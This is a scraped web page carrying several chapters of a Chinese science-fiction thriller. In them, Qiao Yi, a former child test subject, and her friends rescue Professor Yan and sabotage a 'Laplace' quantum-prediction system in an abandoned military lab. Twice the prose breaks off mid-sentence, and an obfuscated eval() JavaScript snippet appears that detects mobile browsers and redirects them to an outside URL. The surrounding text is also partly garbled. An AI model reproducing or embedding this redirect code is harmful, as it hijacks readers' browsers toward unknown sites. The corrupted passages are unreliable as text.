二楼阴暗潮湿，散发着废纸和霉菌的古怪气味。乔伊借着微弱手机光朝里头走了几步，蓦然看见一个颤巍巍的身影背对他们，正坐在角落的低矮椅子上。身影似乎听到动静，缓缓转过头——那是一名头发灰白、眼神黯淡的老人，穿着皱巴巴的旧外套，一双浑浊的眼睛落在乔伊身上时微微一颤。 “你们……是谁？”声音低哑，他眯起眼，似在确认。 乔伊心脏猛跳。纵使没有百分百把握，但她几乎能肯定——这人就是照片中那位严教授！他虽然消瘦憔悴很多，但眉眼轮廓依稀相像。她小心翼翼地上前一步：“严教授……是吗？我是乔伊，你……你大概不知道我，但我——” 严教授看看她，神情复杂，随即语气竟透出疲倦：“我何尝不知道你。你代号J-01，是我当年……没能保护的孩子。” 乔伊脑海“嗡”地一声炸响。她几乎要追问无数问题，却一时间语塞。她只觉所有愤怒和疑惑都想喷薄而出，但又被对方一句话堵住了。 顾子衿冷静地扫视四周，确信没有别人埋伏，才挑了挑眉：“您既知乔伊是谁，是否也清楚那场有关量子预知的骇人实验？她被迫成为试验体，背负了难以磨灭的伤害，您有什么要解释的吗？” 严教授眼底闪过痛楚。他伸手示意两人坐下，自己也无力支撑般靠在椅背：“这个地方……原本是我临时歇脚的避难所。‘H’那边开始逐步收紧网络，我怕被他们彻底找到。我见你们并非他们的人，那就有许多不得不告诉你们的事。” 乔伊定了定神，把随身带的档案摊开：“请您告诉我，当年为什么要对一群孩子做这种极端实验？还有……拉普拉斯模型是不是就存在于我脑里？” 严教授盯着那份档案，目光沉重。良久，他以近乎忏悔的叹息道：“因为在更高层的命令下，一项叫‘拉普拉斯计划’的研究正不择手段地推进。他们要找能够承受高强度量子干涉的特殊人选。你是最匹配的那一个。起初，我以为这项研究能造福人类，可随进展而不断升级，直到出现你这样的幼年试验对象。那是一种严重违背伦理的罪孽。” 乔伊双拳紧攥：“你为什么不阻止？” “我……试图抗议过。但军方与校方利益勾连，逼我噤声。后来我把一些实证资料藏到安全地点，避免他们轻易得到全部成果。可我也知道，自己一直欠你一个交代。得知你近期在学院里查这些，我便想暗中留意你们的行动。” 这番话令乔伊心中怒火与痛苦齐迸，她几乎忍不住想质问更多。但严教授似有难言之隐，只能垂头喃喃道：“对不起……但愿尚不太晚。” 顾子衿皱眉：“那‘H’为了什么？他们可以利用乔伊的大脑做什么？” 严教授苦笑：“一旦将量子干涉技术推向极致，就能近乎实时地推演出任何人的思维倾向，乃至预判未来冲突。这是把人类自由意志彻底踩在脚下的妄想。‘H’想把它军事化、政治化，成为对社会结构的全面操控。乔伊是关键媒介，她体内仍残留着当年的激发因子。” 乔伊脊背发冷。难怪那只“拉普拉斯妖”在她意识中蠢蠢欲动，原来她就是那道“门”。人们不惜伤害她，只为获得某种算定未来的权柄。她脑子一片紊乱，心里五味陈杂。 正在僵持之际，楼下突然传来脚步声，混着低声喝令：“查一查，别放过任何房间！”是外面的那群便衣？还是其他势力？无论如何，他们显然已搜到这栋楼来了。 顾子衿轻声示意两人噤声。严教授喘了口气，指向后窗：“那边可以通往另一座老楼顶，大概能避开前门。”他说着就要起身，步履却踉跄不稳，看样子身体早已支撑不住。乔伊赶紧搀扶，一边仿佛感到楼下力量越来越多。 楼梯口响起了急促撞门声，乔伊心跳如鼓：“怎么办，他们人多势众，一旦上来，咱们跑不掉。” 严教授声音压得极低：“我有一份更重要的资料留在另一处。如果你们还能信任我，请护我离开这里，再想办法取那资料。那是足以让‘H’再无狡辩的关键信息。” 乔伊这个瞬间简直进退维艰，却也无从选择。她想起自己苦苦追寻的一切答案：关于过去、关于反抗命运的可能，都系在这个老人身上。她只得咬牙做出决定：“走！” 顾子衿俯身检查后窗，发现外面就是两米多高的平台，下面能跳到一条废弃巷道。此路虽险，但应该比正面硬碰更有胜算。楼外此刻淅淅沥沥下起小雨，漆黑无比，乔伊扶着严教授慢慢踩上窗台。她回头跟顾子衿对视，后者了然地点头：“你先带教授下去，我殿后。” 乔伊与虚弱不堪的严教授先跃下平台，好在雨水冲刷下巷道相对泥泞，落地尽管有冲击，倒也没受太大伤。她恨不得立刻逃离这个鬼地方，却看见顾子衿刚跨上窗台——楼上忽而窜出一道手电光，子弹似的飞来，擦得窗沿“当”地一声脆响！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013892|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“快跑！”顾子衿大喊，整个人险些摔出窗外，情急下他也纵身一跃，膝盖磕在地面，痛得闷哼。乔伊赶紧将他拽起，搀着他和严教授在昏暗巷道中狂奔，身后火光霎时一片混乱，可见有人在大声叫嚷：“在那边，快追！” 乔伊心中彻底绷紧，几乎要窒息。她最害怕的是自己会不会再次连累顾子衿。他似乎觉察到她的恐慌，强忍膝盖疼痛，反用肩背挡在她和老教授前方，引领他们快步逃亡。 雨越下越大，豆大的水珠砸在地面与屋檐，引发杂乱回声。三人仿佛成了夜晚的三只困兽，一心只想突围。乔伊内心甚至叫嚣：为什么要这样逃？命运就这么玩弄他们吗？ 恍惚间，她的意识忽被那熟悉声音所侵入——拉普拉斯妖冷嘲地说：“想冲破这无数变数？先问问你有没有那份决心。看看，他们正要包围你们了。” “够了……”她咬牙切齿地回应，“就算前面是绝境，我也要往前冲。你能算到我的念头，却算不到我对追随自由的执念。” 妖并未作声，也许它忽而嗅到了乔伊此刻迸发的强大意念，那股意念如火焰一般灼烧她的灵魂。她不愿再让任何人替她牺牲和受伤。 幸而，林忻和学姐及时派了车子绕到另一头，一连串闪灯信号让乔伊认出是己方援军。三人几近跌撞地冲进车里，学姐猛踩油门，车子轰鸣着从小巷拐口驶出，险险甩掉后面的追兵。 直到确认后方无人紧跟，车内所有人才敢大口喘息。乔伊转头看严教授，他脸色苍白，额角淌汗，但还有一丝微弱亮光在他眼神里：“孩子，谢谢。这样生死时刻，我已不奢求什么，只盼能把真相彻底昭示世人。” 乔伊垂眸：“我只想知道，我能不能摆脱这在我脑里作祟的‘妖’。如果它真是那些量子干涉后遗留下来的产物，那就说明我还可能被‘H’利用？” 严教授沉默了几秒，回答得极谨慎：“理论上，‘妖’只是拉普拉斯模型的一种映射，你当初接受的注入式脑场干涉远不止外界所知。要想彻底摆脱，就必须反向破坏模型的根基，也就是‘H’正在积极复原的量子预知主程序。” 乔伊听得心头抽紧。也就是说，她不消除这个主程序，便逃不出操控。“H”若成功重建主程序，下一步就是把她推入某个无法挽回的深渊；而包括顾子衿、林忻在内的所有人，也都要跟着承受可怕后果。 林忻从后视镜看向乔伊，声音带着坚定：“别害怕，我们会一起去摧毁它。” 学姐踩着油门，方向盘转动：“先把严教授带到安全处。等他恢复一点，我们再决定下一步。他不是说过还有某份绝对关键的资料？” 话音将落，乔伊却感到一阵寒意袭来，因为她透过车窗玻璃看向远处，一闪而过的黑色轿车似正与他们保持一定距离。她有种直觉：黑色车里的人很可能是“H”的暗线，正虎视眈眈地等待时机。 眼下，她和伙伴们只能暂时逃离这风暴中心。然而她明白，若想守护自己珍视的人、挣脱这被计算的宿命，接下来必定要做出更艰险的冒险，不管前方是刀山火海…… 当车子终于汇入城市廉价旅社的灯海时，乔伊伸手碰了碰顾子衿微微肿起的膝盖，面带关切：“痛吗？”顾子衿咬牙笑了笑：“还能忍。你先别担心我，重要的是确保教授先藏好。”他与乔伊相互间的那种体贴让学姐和林忻都察觉到一抹酸甜意味，可惜此刻情势危急，无暇多提。 他们在旅社替严教授租了个小房间，暂作休整。教授靠在床头，看着乔伊，嘴唇颤动许久才说：“我本想对你隐瞒更多，好让你过平凡人生。可既然‘H’已然觉醒，我没权利再自私下去。”他取出衣袋里一张褪色卡片：“这是一处废弃军工实验室的门禁卡，那里存有当年最完整的顶层数据。只要揭开那份数据的真相，就不会再留给‘H’任何可狡辩的余地。” 乔伊把卡片拿在手心，指尖冰凉。她似看到某条血淋淋的道路正从自己脚下延伸向远方。可她把心一横，低声回答：“我们一起去揭穿它。只要还有一线希望，我就要挑战所谓的命运算定。” 从窗外望去，一抹微曦似乎在被雨幕笼罩下挣扎闪烁。乔伊仿佛听见脑中那只“妖”发出一声愉悦的冷笑，或者是叹息。它并不急于此刻介入，也许它在观望，观望这群年轻人能推动怎样的变数，又或者……它早已算定下一步棋。 窗户玻璃上，雨痕斑驳如泪痕。乔伊慢慢合上眼睛，直觉告诉她，部分真相已然浮出，可更庞大的阴谋还未显露全貌。她与“H”间的博弈，也不过刚刚拉开序幕。 ——章节结尾及下一章铺垫—— 夜深人静，乔伊却怎么也睡不踏实。她翻来覆去，终于在疲惫中半梦半醒。从意识最深处隐约传来一个新场景：一片废弃研究所大厅里，仪器闪烁，连通某个巨大计算机的屏幕。一行行数据飞快滚动，最后停在“J-01”字样上。那画面背后，似有人发出低沉嘲笑—— 乔伊陡然惊醒，大口喘息。她抓起那张褪色门禁卡，心中油然生出坚定：无论拉普拉斯妖如何嘲弄，无论“H”如何编织天罗地网，她都必须同伙伴携手，一路探到最深处，终结那令人窒息的算计。 而严教授又能否熬过这个风雨欲来的夜晚？他们若闯进废弃军工实验室，等待他们的将会是至关重要的密钥，还是“H”精心布下的陷阱？ 20.叹命途未歇，此心犹愿向光行 意识深处，有黑暗浪潮在翻腾，一幅又一幅扭曲影像不时闪过：金属手术台上，小女孩大声哭喊，身侧是冰冷注射器；昏暗的玻璃窗后，白大褂们冷眼旁观，测算大脑波动曲线；还没有尽头，无边无岸的阴影裹挟着细碎电流声，咆哮着淹没一切…… 乔伊猛然睁开眼，才发现自己正靠在廉价旅社的沙发上。墙上昏黄的灯泡摇摇欲坠，连室内空气也显得闷浊。她茫然地看向右手，那里紧握着一张褪色的门禁卡，卡面贴着过期标签，却能开启废弃军工实验室侧门——这是严教授交给她的关键“钥匙”。 “又做噩梦了？”顾子衿走进来，端着从楼下买来的热粥。他见乔伊脸色惨白，眉头里都是关切，“要不再睡会儿？你整夜没怎么休息。” 乔伊吸了口气，勉强露出一丝微笑：“没事，睡不踏实，梦里都是些奇奇怪怪的影像。你觉得，会不会是幼年实验留给我的记忆碎片？” 顾子衿摇摇头，示意她先喝口粥：“也许是，但我们会一起把它弄清楚。别逼自己太紧。” 乔伊点点头，她无法告诉顾子衿，自己脑中还盘踞着那个让人抓狂的声音——拉普拉斯妖。它像一道寄生在她精神世界的阴影，每每警醒，便开始以嘲讽口吻和她对话。她不愿让顾子衿担心，却也知道纸终究包不住火。 此时，小小的房门吱呀打开，林忻与学姐带着湿淋淋的外套走进来。学姐一边拧干衣襟上的水，一边开口：“外面风大雨急，看起来大有‘H’布控的迹象。严教授身体虽勉强稳定，但不能再多拖延——我们可能必须在今晚就出发去那个军工实验室了。” 乔伊放下粥碗，轻轻点头：“再多耽搁，只会增加‘H’找上门的机会。既然废弃军工实验室里藏有当年的核心数据，我们该去把它挖出来。” 林忻看向顾子衿，补充道：“我查过地图，那片区域比较偏僻，估计外围防护早就松懈。可到处荒草丛生，结构破败，不排除里面还残留什么自动防御系统。我们必须做好应对突发状况的准备。” 顾子衿眼神笃定：“在学院里跟‘H’的人周旋这么久，咱们也算有些经验。只要别被大队人马堵在里面，或许能顺利带回资料。” 正说着，传来轻微脚步声。被安顿在另一房间的严教授费力走出来，脸色依旧苍白，眼底横着多日不眠的血丝。一见乔伊，他就欲开口，却忍不住咳了几声。乔伊忙上前扶住他：“您没事吧？” “咳咳，只是老毛病……我知道你们肯定要去废弃军工实验室，那里曾是最早期的量子干涉研发基地。只可惜，这些年我虽想阻断，但‘H’也许已在那里进行过多次秘密部署。”他抬头凝视乔伊，神色中有深深担忧，“若你真的打算毁掉拉普拉斯模型的核心，这恐怕是唯一的机会。但你自身也会承受极大风险。” 乔伊没有退缩，只是认真地望回去：“我已经准备好了。无论拉普拉斯妖怎样折磨我，也不能继续被命运摆布下去。教授，等我们带回资料，再一起想办法把真相公之于众。” 严教授点点头，颤抖着拿出一张简略手绘平面图：“这是我凭记忆画下的旧结构，但多年废弃，通路或已变动。你们务必小心。” 当晚十点多，雨势稍减。乔伊、顾子衿、林忻和学姐开着一辆租来的银灰面包车，沿着城市外环飞速驶向那处偏僻军工区。车灯在黑夜中扫过大片荒地，路旁只有断垣残壁与倒伏的野草。四人都默契地保持沉默，只听见雨水和发动机的低鸣。 终于，车停在一条废弃铁轨边。顾子衿熄火后示意大家先观察：“再往前百米便是厂区旧围墙。我们步行过去比较安全。林忻，你和学姐留在车里监测通讯，一旦发现大批可疑车辆靠近就提醒。” 学姐戴上耳麦：“明白，万事小心。虽然这地方看似无主，却难保‘H’没在附近眼线。” 乔伊与顾子衿披着简单雨衣下车，穿过泥泞地带，小心翻越那堵生了青苔的矮墙。一进墙内，就能看到被荒草淹没的柏油路，以往或许是大型军用卡车通行的主干道，如今却满是坑洼与残破石块。 远处映入眼帘的主体建筑大门早已锈蚀不堪，但刚一靠近，乔伊就听见某种风声呼啸在空旷走廊中，宛若幽灵在念咒。她抖了抖肩膀，这里果真带着似曾相识的寒意。顾子衿顺手掏出手电筒，却谨慎地把光线调得极弱，方便窥探。 门禁卡刷在锈迹斑斑的感应区，竟真的发出一声“滴”的轻响，随即铁门微微震动，缓缓开启。显然，这里还有通电系统保持最低层次的运转。乔伊与顾子衿对望一眼，同时感到奇异且不安。 “真是……阴魂不散。”乔伊轻声嘀咕。她踏入大门后，仿佛置身于巨大黑洞中，四周空旷而死寂，只有水滴从破损天花板渗漏，连续不断地敲打在地面，滴答声不绝。在幽暗踟蹰几步，她敏锐感知到身体中的“妖”突然冒出声音： “欢迎回家啊，我的宿主。”它慵懒地嘲讽着，“你看，这里才是孕育我——或说孕育你——的源头。是不是有种说不清的宿命召唤？” 乔伊强迫自己不回应它，只紧紧握住手电。顾子衿似乎觉察到她的异样，小声问：“还好吗？”她点点头，却没再多言。 二人摸索着穿过几条岔道，靠着严教授的手绘平面图找到一个旧资料室。那扇铁门早半开，里面文件柜散乱倾倒，墙面霉斑肆虐。顾子衿皱眉：“看上去有人翻动过，或许‘H’也来过无数次。不过，再搜一搜也许能找到什么残留资料。” 他们分头行动，乔伊掀开倒塌的铁柜，找见几个老旧硬盘和数据带。她捡起一根数据带，拿手电晃了晃发现上面写着：“LPS-05次级扩展”。心脏一下提到嗓子口——“LPS-05”，不就是他们在南楼资料室时找到的部分文件代号吗？ “找到什么有价值的吗？”顾子衿走过来时，乔伊举起数据带，神色复杂：“看名字就知道和拉普拉斯相关。”她用提包 carefully地装好，“先带出去再说。” 话音未落，远处通道里忽然传来一连串脚步声，且伴随有人低语，听似带着金属武器碰撞。乔伊心头一凛，对方绝非善类。惊险的回想里，她仿佛又看见那夜在巷子里与“H”打手周旋的场景。 顾子衿一把拉关资料室门，声音极轻：“大概三四个人。他们往这边来了，不知道是不是在巡逻？” 声音越逼越近，乔伊几乎屏住呼吸，背贴在冰冷的门板上。此刻她竟听得见自己心跳如鼓。若是被发现，他们自保的手段少之又少。然而就在门外人声清晰之际，忽有个女声在走廊另一头呼喊：“快，过来看看这边电闸……” 脚步声随之急匆匆离去，明显中断了对资料室的搜寻。 乔伊与顾子衿立刻对视——这或许是个千钧一发的逃离机会。两人迅速收拾现场，将有用的硬盘和数据带带上，推门而出，顺着另一条侧廊往更深处跑。 通道尽头是一排被封死的铁栅栏。按照平面图，栅栏后方是一间机房，当年布局里存放多台高能计算机，正是量子干涉早期的数据中心。乔伊望着锈掉的门闩，有些犹豫，却还是咬牙上前扯动。就在那扯动一瞬间，一股难以言喻的心理震荡在她脑内炸开——拉普拉斯妖仿佛发出低沉咆哮，令她脑神经仿佛被针刺。 “啊……”她闷哼一声，踉跄后退。顾子衿赶紧扶住她的肩：“乔伊，你怎么了？！” 乔伊只觉眼前一阵恍惚，好似看到了幻象：机房里溢满明晃晃的光，一排穿白大褂的人在忙碌敲击仪器，角落那合金舱门缓缓打开——一个稚童的身影被推进去，电流噼啪闪烁。似乎还有人冷冷宣布：“J-01，脑场适配度显著提升，量子联结完成百分之七十。” 她胸口一紧，差点停止呼吸。脑海中那个声音却更加得意：“对，这些都是你曾经经历过的。如今你又回到源头，何必挣扎呢？命运可被计算，这便是终极真理。” “够了……”乔伊双眼微红，咬住嘴唇缓过一口气。她费力推开那铁栅栏，决心不仅要看清真相，更要把这扭曲的试验彻底摧毁。顾子衿搀着她走进去，费半天劲才把门闩彻底敲开。 机房里阴暗潮湿，散落一地断裂电缆。隐约能见到墙壁上挂的一块巨型显示屏，屏面布满裂痕，却像还通着微弱电源，发出闪烁的蓝光。乔伊心跳加速，想走近查看。 正当她迈步时，猛然听见背后“当”的一声巨响——外头铁门被人踹开！紧接着有人怒吼：“在那里！快堵住他们！”那嗓音正是“H”手下的典型作风。 局势骤变。机房无任何遮蔽物，乔伊和顾子衿只能匆忙躲到一排半塌机柜后面。通道里涌进两三道人影，手电光柱扫来扫去。 “怎么跑？”顾子衿轻声问。他们既不能原地硬拼，也不想束手就擒。乔伊目光四下搜寻，发现机房另一侧竟有扇小门，或许通往地下线路层，严教授提过那是旧时代备用通风管线。 顾子衿朝她使个眼色，然后故意发声引开对方注意：“你们是谁，为什么在这儿？” “H”那几个人彼此对看，显然疑惑这声音里隐含挑衅，立刻端起武器冲向机柜。乔伊趁此机会猫着腰迅速绕到另一边。她抚摸到那小门上带着编号的铁锁，但锁已腐蚀一半，她用力拧了几下，就把锁哐当扯下。 下一秒顾子衿突然闷哼一声——对方似乎扔出什么爆震弹，一道强光加震响混合。乔伊惊得回头，却见惊雷般的白光闪耀整个机房，顾子衿被激得眼花站立不稳，险些倒在地上。 乔伊不假思索地扑过去，一把拖住顾子衿衣领，把他拽进那小门。尽管耳膜还在嗡鸣，她知道绝不能停留。幸而轰鸣的余波让对方视线也短暂受阻，几人乱喊不已。 两人狼狈地爬进窄小的通道里，乔伊反手关上那破门，将破烂电缆堵住。她摸到手机，亮出微光，发现眼前是一条幽暗的下行梯道。潮湿霉味扑鼻而来，墙壁斑驳。 顾子衿缓过劲来，仍眼冒金星，却勉强伸手抓住乔伊的手：“别松……我们还好吧？” 乔伊低声回答：“还好……再撑会儿。”她牵着他慢慢往下，只有手机微光指引，步步维艰。伴随下潜，乔伊朦胧听见远处似有电力设备的嗡响，很轻，却一直存在。她心底划过念头：难道这地下还保留着某些核心运转？难怪严教授说，这里是被废弃却又半封存。 走到梯道尽头时，眼前豁然开朗：这是个更深的地下机房，布局紧凑，中央立着巨大的圆形金属柱，外壁刻着复杂的线路花纹。金属柱附近，一排排仪器闪动微弱灯光，给人一种诡异的生机感。 “那是……量子干涉系统？”顾子衿喃喃，根据之前和严教授的讨论，他们猜测这或许是拉普拉斯模型最早的母体端口。 乔伊只觉无形的力量牵引她走近那金属柱，仿佛有一股磁力在呼唤。她抬手轻触柱面，瞬息间，脑中“嗡”地响起剧烈回荡，宛若被无数数据流冲击。拉普拉斯妖在她意识里发出癫狂大笑，似乎被某种能量唤醒。 “看呐，这就是一切的源头。主程序沉睡在此，如果你愿意将自己融入，它或许能给你——给我们——前所未有的力量。”妖的声音深沉而诱惑，带着戏谑和野心，“难道你不想成为真正超越命运的先驱吗？” 乔伊咬住嘴唇，努力保持清醒。她知道一旦被妖诱导，便可能走上失控之路。她目光一转，看见旁边机台的控制面板上，有一张显示屏闪烁着读取指示：“Waiting for Key…”——似在等待某种启动或破坏指令。 顾子衿观察四周谨慎低语：“看情况，我们可以尝试毁掉关键数据核心，可是需要权限或指令，那些数据都封存在内部。我们没法硬砸吧？” 乔伊深吸一口气，把背包里的数据带掏出：“也许这些资料就是钥匙。如果能够让系统自我解析其中矛盾，就可能出现内部坍塌。我不知道能否行得通，但值得一试。” 她匆匆往面板插入口摆弄，每分每秒都感觉头皮发麻。若“H”的人追下来，就真是瓮中捉鳖。 投入数据带后，十几秒的读取时间宛如漫长世纪。屏幕上开始狂闪数行代码，不断滚动闪烁。顾子衿紧张地握住手中微型电击棒，以防???方冲入。 突然，屏幕变暗，一行鲜红色英文字母跳了出来：“System Error: Core Conflict Detected.” “有戏！”顾子衿欣喜地低呼。可下一瞬，那金属柱开始震动，周围仪器发出急促鸣响，像是在剧烈排斥某种指令。 乔伊再度感到脑海刺痛，仿佛与那系统震动产生同步共鸣：“不！我要撑住……”她咬牙让自己别倒下。拉普拉斯妖却疯狂地嘶吼：“你敢毁了根基？你不是一直想质问命运吗，为什么要选择这样自掘坟墓？” 她忽然想起顾子衿一路对她的信赖，想起林忻和学姐的拼命相助，想起自己既然体会过人性的温暖与自由，那就绝不能向所谓“注定”屈服。她哑声开口：“对……我就是要毁掉你们这些妄想控制一切的东西！我宁可轰塌，也不向命运低头。” 只听“轰”的一声巨响，金属柱顶端冒出火花，空气中顿时弥漫烧焦味。虽然没有彻底爆炸，但看起来整个系统已陷入瘫痪或濒临失控。乔伊晃了一下，险些倒地，被顾子衿紧紧抱住。 大量电火花飞溅，宛若群鬼哭嚎。两人根本不敢久留，拔腿就往原路退，却隐约感到头顶通道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017540|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人影聚集——显然，“H”的人也觉察到异常，正在逼近！ “走这边！”顾子衿搀扶着乔伊，顺着另一处昏暗甬道飞快奔跑。那甬道又长又蜿蜒，四壁还挂着些“半废旧指示牌”，其中有一个往下指向更深处。乔伊不知道究竟哪条路更安全，只能凭直觉逃离。 穿过狭窄拐角后，他们迎面撞上一堵铁板封死的门，门上隐约写着一行小字：“核心区域·非授权禁止入内……”。 “该死，堵住了。”顾子衿踹了几脚，那铁门纹丝不动。后方传来杂乱脚步声和喝令：“快抓住他们！”两人一时进退维艰，只能匆忙寻找旁边是否还有暗门。 就在这生死关头，一道微弱机械声似在乔伊右手边呼应。她下意识伸手推了推墙面，没想到一块生锈铁板滑开，露出一条狭小暗道。简直像是老式逃生通道？ “不管它通向哪，都先进去！”顾子衿当机立断，和乔伊一起钻入暗道。铁板自行闭合，将后方追兵的叫喊彻底隔绝。 暗道内狭窄且弥漫着陈年霉味，光线几近于无。两人只能慢慢摸索前行，甚至需要弯着腰才能勉强挪动。 “这地方……到底往哪儿去？”顾子衿心中没底，可又无法回头。身后喊杀声逐渐远去，仿佛隔了好几层墙壁。 乔伊也不清楚，只能一手撑住潮湿石壁，一手扶着顾子衿。他们的脚步声在封闭通道里回荡，而她神经依旧紧绷——关于拉普拉斯妖的呢喃仍时不时刺痛她大脑，但更加微弱。似乎由于她破坏了上方主控系统，那妖被某种冲击削弱，暂时失去嚣张能量。 拐过几处弯后，前方突然有了微弱亮光，蓝色荧光在幽暗中微微闪烁。两人怔住，下意识地贴墙缓行。很快，他们钻出通道口，发现自己竟到了一间隐藏极深的暗室。这暗室不到二十平方米，中央区域矗立着一个高度不过一人多的金属装置，宛如试验柜。柜体顶上插着多条数据线，跟角落一台小型服务器连接。 顾子衿低声：“还有这种地方？看着像某种备用系统……” 乔伊走近时，愣住了。她看见柜体正面，贴着一块年代久远的标签：“拉普拉斯·Kids Project - J-01”。血液仿佛凝固，她下意识伸手触摸，却又害怕打开，会看到更多不忍直视的真相。 几秒钟后，她还是狠下决心，抬起柜盖——里面置放着一截深红色护套管，管壁内似乎残留干涸的液体痕迹。她猛地记起自己在童年某段回忆里，曾全身浸泡在温度恒定溶液中，接收无数神经电刺激测试……眼前这护套环境，正是那时实验器械的一部分。 “这就是……我当年的囚笼吗？”乔伊心中泛起强烈恶心与反感，胸口像被刀绞。她几乎能想象那时只有四五岁的自己，被迫待在此处。余下的愤怒、悲伤和无助如潮水涌来。 顾子衿轻抚她肩头，安抚道：“别看了，我们已经毁掉上方核心区，就算‘H’重启，也不会那么容易。这个东西，也应该一起毁掉吧。” 乔伊定了定神，正要回话，却突然注意到柜旁服务器显示屏上，跳动着一行行字符。她凝神瞧去，竟是大量关于自己童年身体机能的实时记录，某些项目还显示“数据更新中”，仿佛有人持续远程监控…… “难道‘H’对我追踪至今，不只靠外在行动，还利用某种暗中数据呼应？”她大惊失色，“这种链接若被进一步强化，我就算逃到天涯海角，也终会落入他们算定。” 顾子衿攥紧拳头：“那就毁了它。”他说完，抓起桌上一个生锈铁块，狠狠砸向屏幕。“嘭！”火花溅射，屏幕瞬间裂开花纹。金属柜上灯光也随之一闪。 乔伊发出一声短促的呜咽，或许是解脱，也或许是痛苦。她感到某条无形桎梏在一瞬间被撕破，却留给她内心无法平复的仇恨与伤痕。 暗室里再次陷入死寂。良久，乔伊才抬眼看顾子衿：“谢谢你。”简单三个字，却凝聚无数情感。顾子衿轻叹，把她揽入怀中：“这一路以来，你承受太多。不管将来会怎样，我都想陪你一起面对。” 在他胸口，乔伊终于纵容自己颤抖几秒，然后收拾心绪道：“得尽快出去和林忻他们会合。也不知道‘H’会不会来个地毯式搜索。” 顾子衿应声，在暗室另一端又发现一条更隐蔽的狭道，或许能直通地面外侧。他们互相搀扶钻进去，把那段早已腐朽的金属门板轻轻推开，迎面吹来一股夜风夹着湿意——果然连通外界。 当二人的身影终于从废墟另一角冒出时，天色已近黎明，灰蒙曙光中带着薄雾与淅沥小雨。 林忻与学姐正急得像热锅蚂蚁，在外头蹲守多时，一见他俩破败不堪地出现，立刻冲上去：“天，担心死我们了！你们遭遇什么？怎么这么久才出来？” 乔伊深吸口气，冲他们疲惫一笑：“过程一言难尽……但主控核心大概被破坏了，我们也找到了更多与我相关的证据。我想这对‘H’来说是沉重一击。” 学姐与林忻面面相觑，出乎意料也带着喜悦：“快，上车说。严教授还在等消息。” 四人迅速登上面包车。发动机再次轰响，载着他们离开这座死气沉沉的废弃之地，驶回茫茫夜色中。 路上，乔伊倚靠在顾子衿肩头，望向后视镜里那片逐渐远去的阴影。她知道，即便破坏了部分主控系统，‘H’依旧不会善罢甘休。自己和拉普拉斯妖的纠葛，也绝非一朝一夕能切断。但是—— “至少我看清了，当年实验的根源是什么，也更懂得如何去反抗。”她在心中对自己说。黎明将至，如果“量子预知”真能注定一切，为什么她还能挣脱一步？或许在命运与自由之间，还留下某道缺口，而她会不惜任何代价撞破那堵墙。 想到这里，她感到妖的踪影依稀闪动，却不再似先前尖叫，仿佛意识被某种力量打散。也许这只是暂时的平息，但她担心的，不止是妖何时再次爆发，还有严教授口中那个更绝密的真相尚未公诸；更不必提“H”究竟掌握着多少后手。 顾子衿感受到她的僵硬，轻声问：“怎么？” 乔伊微微抬眼，扯起最后一丝坚强微笑：“我只是在想，我们才刚迈出一步。后面的路……还很漫长。” 车灯照亮前方公路，雨雾中仿佛开辟出了无数可能的岔路，而他们只能坚定不移地往前。或许黑暗仍在环伺，可只要众人之心未灭，自由与希望就不会被完全抹杀。拉普拉斯妖再强，也无法算尽人心深处那股难以名状的坚韧和爱。 ——本章完—— 面包车彻夜奔驰，带着他们返回临时据点。可当他们推门而入，却惊愕地发现：严教授房间内一片狼藉，门窗被暴力破坏，地上还留有血迹…… 21.同我赴深渊，或见微光宛若归途 乔伊坐在车里，望着车窗外深夜的路灯光斑在潦倒街景上掠过，仿佛一只只昏昧的眼。方才离开废弃军工实验室的那一刻，她尚且心跳急促，脑中还有拉普拉斯妖的狂笑回荡。可现在她竟感到一丝无可名状的空虚——仿佛胜利来得过于仓促，却并未真正改变什么。她知道自己终究要面对一个更沉重的真相：严教授被人带走了。 雨势不断，就像长夜也不肯收敛。面包车在路口急转，车轮卷起水花，掠过坑洼路段后终于停在那栋他们已经习惯视为“临时据点”的小旅社门外。顾子衿率先跳下车，把外套披在乔伊身上：“先下去再说。”林忻和学姐则迅速拾起后车箱里的背包，里面装着从军工实验室里带出的硬盘与数据带。虽然上面没来得及做详细分析，但他们坚信这里面蕴含对付“H”的线索。只要教授还在，一定能想办法把这些关键情报解读出来。 然而，刚踏进旅社昏暗的走廊，学姐迎面就是一声惊呼：“这门……怎么是开着的？”她冲进严教授的房间，只见门锁整个断裂在地，简陋的床板翻倒，椅子横着滚到角落。所有人霎时间变得屏息凝神，似能听见各自加速的心跳。 乔伊跨过一地散落的纸张，一眼就瞧见枕头旁那片犹带暗色血迹的纱布。她的瞳孔骤缩，猛地伸手去摸——鲜血已凝固发黑，时间绝对不短。她连声呼喊：“教授？教授您在哪儿！”可回答她的唯有风声与淅淅沥沥的雨。 顾子衿很快反应过来，蹲到地上翻动一片凌乱纸屑，似乎想寻找还能被拼凑的文字。林忻则握紧拳头，让自己冷静：“很可能是‘H’的人赶在我们之前找到这里，把教授带走了……他们一定也知晓我们进了军工实验室。”学姐咬着唇，表情难看：“可他身上旧伤未愈，能撑得住吗？” 乔伊没有作声，只机械地看着那血迹。她脑子里“嗡”地作响，涌入的念头如同即将漫堤的洪水：教授受了伤？他会不会已经……不行，绝不能再耽误。她忽然起身，一把拽住顾子衿的肩，语气颤抖却急切：“告诉我，你能追踪到教授吗？他曾经用过你给的那只备用通讯器，对吧？” 